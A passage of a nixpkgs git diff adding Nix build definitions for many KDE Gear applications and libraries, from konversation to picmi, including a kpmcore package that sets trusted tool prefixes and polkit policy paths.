0000000000000..d7d5d3c2fb891 --- /dev/null +++ b/pkgs/kde/gear/konversation/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qttools, + qtmultimedia, + qt5compat, +}: +mkKdeDerivation { + pname = "konversation"; + + extraBuildInputs = [qtmultimedia qt5compat qttools]; +} diff --git a/pkgs/kde/gear/kopeninghours/default.nix b/pkgs/kde/gear/kopeninghours/default.nix new file mode 100644 index 0000000000000..b315d765fb396 --- /dev/null +++ b/pkgs/kde/gear/kopeninghours/default.nix @@ -0,0 +1,20 @@ +{ + mkKdeDerivation, + qtdeclarative, + bison, + flex, + boost, + python3, +}: +mkKdeDerivation { + pname = "kopeninghours"; + + extraNativeBuildInputs = [bison flex]; + extraBuildInputs = [ + qtdeclarative + (boost.override { + enablePython = true; + python = python3; + }) + ]; +} diff --git a/pkgs/kde/gear/korganizer/default.nix b/pkgs/kde/gear/korganizer/default.nix new file mode 100644 index 0000000000000..dfea744563e3a --- /dev/null +++ b/pkgs/kde/gear/korganizer/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "korganizer"; + + extraBuildInputs = [qttools]; +} diff --git a/pkgs/kde/gear/kosmindoormap/default.nix b/pkgs/kde/gear/kosmindoormap/default.nix new file mode 100644 index 0000000000000..11b5c5cef3987 --- /dev/null +++ b/pkgs/kde/gear/kosmindoormap/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + bison, + flex, +}: +mkKdeDerivation { + pname = "kosmindoormap"; + + extraNativeBuildInputs = [bison flex]; +} diff --git a/pkgs/kde/gear/kpat/default.nix b/pkgs/kde/gear/kpat/default.nix new file mode 100644 index 0000000000000..23b99dddb9f4c --- /dev/null +++ b/pkgs/kde/gear/kpat/default.nix @@ -0,0 +1,21 @@ +{ + mkKdeDerivation, + qtsvg, + _7zz, + shared-mime-info, + black-hole-solver, + freecell-solver, + libkdegames, +}: +mkKdeDerivation { + pname = "kpat"; + + extraNativeBuildInputs = [_7zz shared-mime-info]; + extraBuildInputs = [ + qtsvg + black-hole-solver + freecell-solver + ]; + + qtWrapperArgs = ["--prefix XDG_DATA_DIRS : ${libkdegames}/share"]; +} diff --git a/pkgs/kde/gear/kpimtextedit/default.nix b/pkgs/kde/gear/kpimtextedit/default.nix new file mode 100644 index 0000000000000..0c33280cc0598 --- /dev/null +++ b/pkgs/kde/gear/kpimtextedit/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qt5compat, +}: +mkKdeDerivation { + pname = "kpimtextedit"; + + extraBuildInputs = [qt5compat]; +} diff --git a/pkgs/kde/gear/kpkpass/default.nix b/pkgs/kde/gear/kpkpass/default.nix new file mode 100644 index 0000000000000..a2f116f67d779 --- /dev/null +++ b/pkgs/kde/gear/kpkpass/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + shared-mime-info, +}: +mkKdeDerivation { + pname = "kpkpass"; + + extraNativeBuildInputs = [shared-mime-info]; +} diff --git a/pkgs/kde/gear/kpmcore/default.nix b/pkgs/kde/gear/kpmcore/default.nix new file mode 100644 index 0000000000000..9dfa4f3d6813b --- /dev/null +++ b/pkgs/kde/gear/kpmcore/default.nix @@ -0,0 +1,74 @@ +{ + lib, + mkKdeDerivation, + writeText, + pkg-config, + cryptsetup, + lvm2, + mdadm, + smartmontools, + systemdMinimal, + util-linux, + btrfs-progs, + dosfstools, + e2fsprogs, + exfatprogs, + f2fs-tools, + fatresize, + hfsprogs, + jfsutils, + nilfs-utils, + ntfs3g, + reiser4progs, + reiserfsprogs, + udftools, + xfsprogs, + zfs, +}: let + # https://github.com/KDE/kpmcore/blob/06f15334ecfbe871730a90dbe2b694ba060ee998/src/util/externalcommand_whitelist.h + runtimeDeps = [ + cryptsetup + lvm2 + mdadm + smartmontools + systemdMinimal + util-linux + + btrfs-progs + dosfstools + e2fsprogs + exfatprogs + f2fs-tools + fatresize + hfsprogs + jfsutils + nilfs-utils + ntfs3g + reiser4progs + reiserfsprogs + udftools + xfsprogs + zfs + + # FIXME: Missing command: hfsck hformat fsck.nilfs2 {fsck,mkfs,debugfs,tunefs}.ocfs2 + # FIXME: audit to see if these are all still required + ]; + + trustedprefixes = writeText "kpmcore-trustedprefixes" (lib.concatStringsSep "\n" (map lib.getBin runtimeDeps)); +in + mkKdeDerivation { + pname = "kpmcore"; + + postPatch = '' + cp ${trustedprefixes} src/util/trustedprefixes + ''; + + preConfigure = '' + substituteInPlace src/util/CMakeLists.txt \ + --replace \$\{POLKITQT-1_POLICY_FILES_INSTALL_DIR\} $out/share/polkit-1/actions + substituteInPlace src/backend/corebackend.cpp \ + --replace /usr/share/polkit-1/actions/org.kde.kpmcore.externalcommand.policy $out/share/polkit-1/actions/org.kde.kpmcore.externalcommand.policy + ''; + + extraNativeBuildInputs = [pkg-config]; + } diff --git a/pkgs/kde/gear/kpublictransport/default.nix b/pkgs/kde/gear/kpublictransport/default.nix new file mode 100644 index 0000000000000..bc1a663b77620 --- /dev/null +++ b/pkgs/kde/gear/kpublictransport/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qtdeclarative, + pkg-config, +}: +mkKdeDerivation { + pname = "kpublictransport"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/gear/kqtquickcharts/default.nix b/pkgs/kde/gear/kqtquickcharts/default.nix new file mode 100644 index 0000000000000..682cd0531b7b7 --- /dev/null +++ b/pkgs/kde/gear/kqtquickcharts/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kqtquickcharts"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/krdc/default.nix b/pkgs/kde/gear/krdc/default.nix new file mode 100644 index 0000000000000..75806e233b639 --- /dev/null +++ b/pkgs/kde/gear/krdc/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + libssh, + libvncserver, + freerdp, +}: +mkKdeDerivation { + pname = "krdc"; + + extraBuildInputs = [libssh libvncserver freerdp]; +} diff --git a/pkgs/kde/gear/krecorder/default.nix b/pkgs/kde/gear/krecorder/default.nix new file mode 100644 index 0000000000000..d6553f4d1fcb6 --- /dev/null +++ b/pkgs/kde/gear/krecorder/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtmultimedia, +}: +mkKdeDerivation { + pname = "krecorder"; + + extraBuildInputs = [qtmultimedia]; +} diff --git a/pkgs/kde/gear/kreversi/default.nix b/pkgs/kde/gear/kreversi/default.nix new file mode 100644 index 0000000000000..8ad4233e1f1a8 --- /dev/null +++ b/pkgs/kde/gear/kreversi/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kreversi"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/krfb/default.nix b/pkgs/kde/gear/krfb/default.nix new file mode 100644 index 0000000000000..03789537f63e9 --- /dev/null +++ b/pkgs/kde/gear/krfb/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + qtwayland, + libvncserver, + xorg, +}: +mkKdeDerivation { + pname = "krfb"; + + extraCmakeFlags = [ + "-DQtWaylandScanner_EXECUTABLE=${qtwayland}/libexec/qtwaylandscanner" + ]; + + extraBuildInputs = [qtwayland libvncserver xorg.libXdamage]; +} diff --git a/pkgs/kde/gear/kross-interpreters/default.nix b/pkgs/kde/gear/kross-interpreters/default.nix new file mode 100644 index 0000000000000..4040fa401ef91 --- /dev/null +++ b/pkgs/kde/gear/kross-interpreters/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + extra-cmake-modules, +}: +mkKdeDerivation { + pname = "kross-interpreters"; + + extraBuildInputs = [extra-cmake-modules]; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/kruler/default.nix b/pkgs/kde/gear/kruler/default.nix new file mode 100644 index 0000000000000..311dcc3bd8400 --- /dev/null +++ b/pkgs/kde/gear/kruler/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kruler"; +} diff --git a/pkgs/kde/gear/ksanecore/default.nix b/pkgs/kde/gear/ksanecore/default.nix new file mode 100644 index 0000000000000..7f7e63fb2caf3 --- /dev/null +++ b/pkgs/kde/gear/ksanecore/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + sane-backends, +}: +mkKdeDerivation { + pname = "ksanecore"; + + extraBuildInputs = [sane-backends]; +} diff --git a/pkgs/kde/gear/kshisen/default.nix b/pkgs/kde/gear/kshisen/default.nix new file mode 100644 index 0000000000000..efa2b024d716f --- /dev/null +++ b/pkgs/kde/gear/kshisen/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kshisen"; +} diff --git a/pkgs/kde/gear/ksirk/default.nix b/pkgs/kde/gear/ksirk/default.nix new file mode 100644 index 0000000000000..5c4196a7aff02 --- /dev/null +++ b/pkgs/kde/gear/ksirk/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtmultimedia, +}: +mkKdeDerivation { + pname = "ksirk"; + + extraBuildInputs = [qtmultimedia]; +} diff --git a/pkgs/kde/gear/ksmtp/default.nix b/pkgs/kde/gear/ksmtp/default.nix new file mode 100644 index 0000000000000..c098ddd49c819 --- /dev/null +++ b/pkgs/kde/gear/ksmtp/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qt5compat, + cyrus_sasl, +}: +mkKdeDerivation { + pname = "ksmtp"; + + extraBuildInputs = [qt5compat cyrus_sasl]; +} diff --git a/pkgs/kde/gear/ksnakeduel/default.nix b/pkgs/kde/gear/ksnakeduel/default.nix new file mode 100644 index 0000000000000..b741df477f337 --- /dev/null +++ b/pkgs/kde/gear/ksnakeduel/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "ksnakeduel"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/kspaceduel/default.nix b/pkgs/kde/gear/kspaceduel/default.nix new file mode 100644 index 0000000000000..1f4272b5cac97 --- /dev/null +++ b/pkgs/kde/gear/kspaceduel/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kspaceduel"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/ksquares/default.nix b/pkgs/kde/gear/ksquares/default.nix new file mode 100644 index 0000000000000..683a64a5bf590 --- /dev/null +++ b/pkgs/kde/gear/ksquares/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "ksquares"; +} diff --git a/pkgs/kde/gear/ksudoku/default.nix b/pkgs/kde/gear/ksudoku/default.nix new file mode 100644 index 0000000000000..6f293bd26e1eb --- /dev/null +++ b/pkgs/kde/gear/ksudoku/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "ksudoku"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/ksystemlog/default.nix b/pkgs/kde/gear/ksystemlog/default.nix new file mode 100644 index 0000000000000..604a52cc560b9 --- /dev/null +++ b/pkgs/kde/gear/ksystemlog/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + pkg-config, + qt5compat, + audit, +}: +mkKdeDerivation { + pname = "ksystemlog"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qt5compat audit]; +} diff --git a/pkgs/kde/gear/kteatime/default.nix b/pkgs/kde/gear/kteatime/default.nix new file mode 100644 index 0000000000000..81d20ec270be3 --- /dev/null +++ b/pkgs/kde/gear/kteatime/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kteatime"; +} diff --git a/pkgs/kde/gear/ktimer/default.nix b/pkgs/kde/gear/ktimer/default.nix new file mode 100644 index 0000000000000..898b4a802e134 --- /dev/null +++ b/pkgs/kde/gear/ktimer/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qt5compat, +}: +mkKdeDerivation { + pname = "ktimer"; + + extraBuildInputs = [qt5compat]; +} diff --git a/pkgs/kde/gear/ktnef/default.nix b/pkgs/kde/gear/ktnef/default.nix new file mode 100644 index 0000000000000..7fcd568ade726 --- /dev/null +++ b/pkgs/kde/gear/ktnef/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "ktnef"; +} diff --git a/pkgs/kde/gear/ktorrent/default.nix b/pkgs/kde/gear/ktorrent/default.nix new file mode 100644 index 0000000000000..92e0646e696af --- /dev/null +++ b/pkgs/kde/gear/ktorrent/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qtwebengine, + taglib, + libmaxminddb, +}: +mkKdeDerivation { + pname = "ktorrent"; + + extraBuildInputs = [qtwebengine taglib libmaxminddb]; +} diff --git a/pkgs/kde/gear/ktouch/default.nix b/pkgs/kde/gear/ktouch/default.nix new file mode 100644 index 0000000000000..7f744a9f79d50 --- /dev/null +++ b/pkgs/kde/gear/ktouch/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "ktouch"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/ktrip/default.nix b/pkgs/kde/gear/ktrip/default.nix new file mode 100644 index 0000000000000..87351e5e54905 --- /dev/null +++ b/pkgs/kde/gear/ktrip/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "ktrip"; +} diff --git a/pkgs/kde/gear/ktuberling/default.nix b/pkgs/kde/gear/ktuberling/default.nix new file mode 100644 index 0000000000000..5602ac8704798 --- /dev/null +++ b/pkgs/kde/gear/ktuberling/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtmultimedia, +}: +mkKdeDerivation { + pname = "ktuberling"; + + extraBuildInputs = [qtmultimedia]; +} diff --git a/pkgs/kde/gear/kturtle/default.nix b/pkgs/kde/gear/kturtle/default.nix new file mode 100644 index 0000000000000..f55f7e92a03a7 --- /dev/null +++ b/pkgs/kde/gear/kturtle/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kturtle"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/kubrick/default.nix b/pkgs/kde/gear/kubrick/default.nix new file mode 100644 index 0000000000000..c8bedf44c2de7 --- /dev/null +++ b/pkgs/kde/gear/kubrick/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtsvg, + libGLU, +}: +mkKdeDerivation { + pname = "kubrick"; + + extraBuildInputs = [qtsvg libGLU]; +} diff --git a/pkgs/kde/gear/kwalletmanager/default.nix b/pkgs/kde/gear/kwalletmanager/default.nix new file mode 100644 index 0000000000000..72ebd76ffa3a2 --- /dev/null +++ b/pkgs/kde/gear/kwalletmanager/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kwalletmanager"; +} diff --git a/pkgs/kde/gear/kwave/default.nix b/pkgs/kde/gear/kwave/default.nix new file mode 100644 index 0000000000000..1c0f82ac7b3df --- /dev/null +++ b/pkgs/kde/gear/kwave/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kwave"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/kweather/default.nix b/pkgs/kde/gear/kweather/default.nix new file mode 100644 index 0000000000000..51d17a0a1e591 --- /dev/null +++ b/pkgs/kde/gear/kweather/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qtsvg, + qtcharts, + qqc2-desktop-style, + kholidays, +}: +mkKdeDerivation { + pname = "kweather"; + + extraBuildInputs = [qtsvg qtcharts qqc2-desktop-style kholidays]; +} diff --git a/pkgs/kde/gear/kwordquiz/default.nix b/pkgs/kde/gear/kwordquiz/default.nix new file mode 100644 index 0000000000000..82989919f6e0e --- /dev/null +++ b/pkgs/kde/gear/kwordquiz/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + qtsvg, + qtmultimedia, + qqc2-desktop-style, +}: +mkKdeDerivation { + pname = "kwordquiz"; + + extraBuildInputs = [ + qtsvg + qtmultimedia + qqc2-desktop-style + ]; +} diff --git a/pkgs/kde/gear/libgravatar/default.nix b/pkgs/kde/gear/libgravatar/default.nix new file mode 100644 index 0000000000000..ddbdfa6dc6c86 --- /dev/null +++ b/pkgs/kde/gear/libgravatar/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "libgravatar"; +} diff --git a/pkgs/kde/gear/libkcddb/default.nix b/pkgs/kde/gear/libkcddb/default.nix new file mode 100644 index 0000000000000..8325f19cedff7 --- /dev/null +++ b/pkgs/kde/gear/libkcddb/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + libmusicbrainz5, +}: +mkKdeDerivation { + pname = "libkcddb"; + + extraBuildInputs = [libmusicbrainz5]; +} diff --git a/pkgs/kde/gear/libkcompactdisc/default.nix b/pkgs/kde/gear/libkcompactdisc/default.nix new file mode 100644 index 0000000000000..66615d3791d60 --- /dev/null +++ b/pkgs/kde/gear/libkcompactdisc/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + alsa-lib, +}: +mkKdeDerivation { + pname = "libkcompactdisc"; + + extraBuildInputs = [alsa-lib]; +} diff --git a/pkgs/kde/gear/libkdcraw/default.nix b/pkgs/kde/gear/libkdcraw/default.nix new file mode 100644 index 0000000000000..df6717b22ded1 --- /dev/null +++ b/pkgs/kde/gear/libkdcraw/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + pkg-config, + libraw, +}: +mkKdeDerivation { + pname = "libkdcraw"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [libraw]; +} diff --git a/pkgs/kde/gear/libkdegames/default.nix b/pkgs/kde/gear/libkdegames/default.nix new file mode 100644 index 0000000000000..95a0265f08362 --- /dev/null +++ b/pkgs/kde/gear/libkdegames/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + _7zz, + svgcleaner, + qtdeclarative, + qtsvg, + openal, + libsndfile, +}: +mkKdeDerivation { + pname = "libkdegames"; + + extraNativeBuildInputs = [_7zz svgcleaner]; + extraBuildInputs = [openal libsndfile qtdeclarative qtsvg]; +} diff --git a/pkgs/kde/gear/libkdepim/default.nix b/pkgs/kde/gear/libkdepim/default.nix new file mode 100644 index 0000000000000..d682c45225eba --- /dev/null +++ b/pkgs/kde/gear/libkdepim/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "libkdepim"; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/gear/libkeduvocdocument/default.nix b/pkgs/kde/gear/libkeduvocdocument/default.nix new file mode 100644 index 0000000000000..f67c4e0ba4972 --- /dev/null +++ b/pkgs/kde/gear/libkeduvocdocument/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "libkeduvocdocument"; +} diff --git a/pkgs/kde/gear/libkexiv2/default.nix b/pkgs/kde/gear/libkexiv2/default.nix new file mode 100644 index 0000000000000..fa5cb7851ea2a --- /dev/null +++ b/pkgs/kde/gear/libkexiv2/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qt5compat, + pkg-config, + exiv2, +}: +mkKdeDerivation { + pname = "libkexiv2"; + + extraBuildInputs = [qt5compat exiv2]; + extraNativeBuildInputs = [pkg-config]; +} diff --git a/pkgs/kde/gear/libkgapi/default.nix b/pkgs/kde/gear/libkgapi/default.nix new file mode 100644 index 0000000000000..87d3beb23c506 --- /dev/null +++ b/pkgs/kde/gear/libkgapi/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qttools, + cyrus_sasl, +}: +mkKdeDerivation { + pname = "libkgapi"; + + extraBuildInputs = [qttools cyrus_sasl]; +} diff --git a/pkgs/kde/gear/libkipi/default.nix b/pkgs/kde/gear/libkipi/default.nix new file mode 100644 index 0000000000000..965cf158a3dc0 --- /dev/null +++ b/pkgs/kde/gear/libkipi/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "libkipi"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/libkleo/default.nix b/pkgs/kde/gear/libkleo/default.nix new file mode 100644 index 0000000000000..47cd88fee5772 --- /dev/null +++ b/pkgs/kde/gear/libkleo/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qt5compat, + boost, + qgpgme, +}: +mkKdeDerivation { + pname = "libkleo"; + + extraBuildInputs = [qt5compat boost]; + extraPropagatedBuildInputs = [qgpgme]; +} diff --git a/pkgs/kde/gear/libkmahjongg/default.nix b/pkgs/kde/gear/libkmahjongg/default.nix new file mode 100644 index 0000000000000..f411605318a23 --- /dev/null +++ b/pkgs/kde/gear/libkmahjongg/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + _7zz, + svgcleaner, + qtsvg, +}: +mkKdeDerivation { + pname = "libkmahjongg"; + + extraNativeBuildInputs = [_7zz svgcleaner]; + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/libkomparediff2/default.nix b/pkgs/kde/gear/libkomparediff2/default.nix new file mode 100644 index 0000000000000..43cccc19603fc --- /dev/null +++ b/pkgs/kde/gear/libkomparediff2/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qt5compat, +}: +mkKdeDerivation { + pname = "libkomparediff2"; + + extraBuildInputs = [qt5compat]; +} diff --git a/pkgs/kde/gear/libksane/default.nix b/pkgs/kde/gear/libksane/default.nix new file mode 100644 index 0000000000000..319d47b8b2d9f --- /dev/null +++ b/pkgs/kde/gear/libksane/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "libksane"; +} diff --git a/pkgs/kde/gear/libksieve/default.nix b/pkgs/kde/gear/libksieve/default.nix new file mode 100644 index 0000000000000..cec2f027b73d0 --- /dev/null +++ b/pkgs/kde/gear/libksieve/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtwebengine, + cyrus_sasl, +}: +mkKdeDerivation { + pname = "libksieve"; + + extraBuildInputs = [qtwebengine cyrus_sasl]; +} diff --git a/pkgs/kde/gear/libktorrent/default.nix b/pkgs/kde/gear/libktorrent/default.nix new file mode 100644 index 0000000000000..263cbb3cadb3c --- /dev/null +++ b/pkgs/kde/gear/libktorrent/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + doxygen, + qt5compat, + boost, + gmp, + libgcrypt, +}: +mkKdeDerivation { + pname = "libktorrent"; + + extraNativeBuildInputs = [doxygen]; + extraBuildInputs = [qt5compat]; + extraPropagatedBuildInputs = [boost gmp libgcrypt]; +} diff --git a/pkgs/kde/gear/lokalize/default.nix b/pkgs/kde/gear/lokalize/default.nix new file mode 100644 index 0000000000000..a50845f258bb4 --- /dev/null +++ b/pkgs/kde/gear/lokalize/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "lokalize"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/lskat/default.nix b/pkgs/kde/gear/lskat/default.nix new file mode 100644 index 0000000000000..e1b83925feb82 --- /dev/null +++ b/pkgs/kde/gear/lskat/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "lskat"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/mailcommon/default.nix b/pkgs/kde/gear/mailcommon/default.nix new file mode 100644 index 0000000000000..44b2b283896e1 --- /dev/null +++ b/pkgs/kde/gear/mailcommon/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtwebengine, + qttools, +}: +mkKdeDerivation { + pname = "mailcommon"; + + extraBuildInputs = [qtwebengine qttools]; +} diff --git a/pkgs/kde/gear/mailimporter/default.nix b/pkgs/kde/gear/mailimporter/default.nix new file mode 100644 index 0000000000000..d43e0a2288f9c --- /dev/null +++ b/pkgs/kde/gear/mailimporter/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "mailimporter"; +} diff --git a/pkgs/kde/gear/marble/default.nix b/pkgs/kde/gear/marble/default.nix new file mode 100644 index 0000000000000..1f6e574ed312b --- /dev/null +++ b/pkgs/kde/gear/marble/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "marble"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/markdownpart/default.nix b/pkgs/kde/gear/markdownpart/default.nix new file mode 100644 index 0000000000000..e40b6d03f883c --- /dev/null +++ b/pkgs/kde/gear/markdownpart/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "markdownpart"; +} diff --git a/pkgs/kde/gear/mbox-importer/default.nix b/pkgs/kde/gear/mbox-importer/default.nix new file mode 100644 index 0000000000000..7d1a6730e84d2 --- /dev/null +++ b/pkgs/kde/gear/mbox-importer/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "mbox-importer"; +} diff --git a/pkgs/kde/gear/merkuro/default.nix b/pkgs/kde/gear/merkuro/default.nix new file mode 100644 index 0000000000000..7ad2c3637f709 --- /dev/null +++ b/pkgs/kde/gear/merkuro/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtsvg, + libplasma, +}: +mkKdeDerivation { + pname = "merkuro"; + + extraBuildInputs = [qtsvg libplasma]; +} diff --git a/pkgs/kde/gear/messagelib/default.nix b/pkgs/kde/gear/messagelib/default.nix new file mode 100644 index 0000000000000..47058be348265 --- /dev/null +++ b/pkgs/kde/gear/messagelib/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtwebengine, +}: +mkKdeDerivation { + pname = "messagelib"; + + extraPropagatedBuildInputs = [qtwebengine]; +} diff --git a/pkgs/kde/gear/mimetreeparser/default.nix b/pkgs/kde/gear/mimetreeparser/default.nix new file mode 100644 index 0000000000000..3bebd8aee726d --- /dev/null +++ b/pkgs/kde/gear/mimetreeparser/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qt5compat, + qtdeclarative, + qgpgme, +}: +mkKdeDerivation { + pname = "mimetreeparser"; + + extraBuildInputs = [qt5compat qtdeclarative qgpgme]; +} diff --git a/pkgs/kde/gear/minuet/default.nix b/pkgs/kde/gear/minuet/default.nix new file mode 100644 index 0000000000000..bbfe47b2796f9 --- /dev/null +++ b/pkgs/kde/gear/minuet/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qtdeclarative, + qtsvg, + fluidsynth, +}: +mkKdeDerivation { + pname = "minuet"; + + extraBuildInputs = [qtdeclarative qtsvg fluidsynth]; +} diff --git a/pkgs/kde/gear/neochat/default.nix b/pkgs/kde/gear/neochat/default.nix new file mode 100644 index 0000000000000..ac50d06db8c96 --- /dev/null +++ b/pkgs/kde/gear/neochat/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qtlocation, + qtwebview, + kunifiedpush, +}: +mkKdeDerivation { + pname = "neochat"; + + extraBuildInputs = [qtlocation qtwebview kunifiedpush]; +} diff --git a/pkgs/kde/gear/okular/default.nix b/pkgs/kde/gear/okular/default.nix new file mode 100644 index 0000000000000..4f2ad1f8e3b03 --- /dev/null +++ b/pkgs/kde/gear/okular/default.nix @@ -0,0 +1,30 @@ +{ + mkKdeDerivation, + pkg-config, + qtspeech, + qtsvg, + poppler, + libtiff, + libspectre, + libzip, + djvulibre, + ebook_tools, + discount, +}: +mkKdeDerivation { + pname = "okular"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [ + qtspeech + qtsvg + + poppler + libtiff + libspectre + libzip + djvulibre + ebook_tools + discount + ]; +} diff --git a/pkgs/kde/gear/palapeli/default.nix b/pkgs/kde/gear/palapeli/default.nix new file mode 100644 index 0000000000000..01cc8774d06d2 --- /dev/null +++ b/pkgs/kde/gear/palapeli/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qtsvg, + shared-mime-info, +}: +mkKdeDerivation { + pname = "palapeli"; + + extraNativeBuildInputs = [shared-mime-info]; + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/parley/default.nix b/pkgs/kde/gear/parley/default.nix new file mode 100644 index 0000000000000..75f01c94e9d5b --- /dev/null +++ b/pkgs/kde/gear/parley/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qtsvg, + qtmultimedia, + qtwebengine, +}: +mkKdeDerivation { + pname = "parley"; + + extraBuildInputs = [qtsvg qtmultimedia qtwebengine]; +} diff --git a/pkgs/kde/gear/partitionmanager/default.nix b/pkgs/kde/gear/partitionmanager/default.nix new file mode 100644 index 0000000000000..1b3b06f8d68bb --- /dev/null +++ b/pkgs/kde/gear/partitionmanager/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + kpmcore, +}: +mkKdeDerivation { + pname = "partitionmanager"; + + propagatedUserEnvPkgs = [kpmcore]; +} diff --git a/pkgs/kde/gear/picmi/default.nix b/pkgs/kde/gear/picmi/default.nix new file mode 100644 index 0000000000000..a5dd853fba52e --- /dev/null +++ b/pkgs/kde/gear/picmi/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: 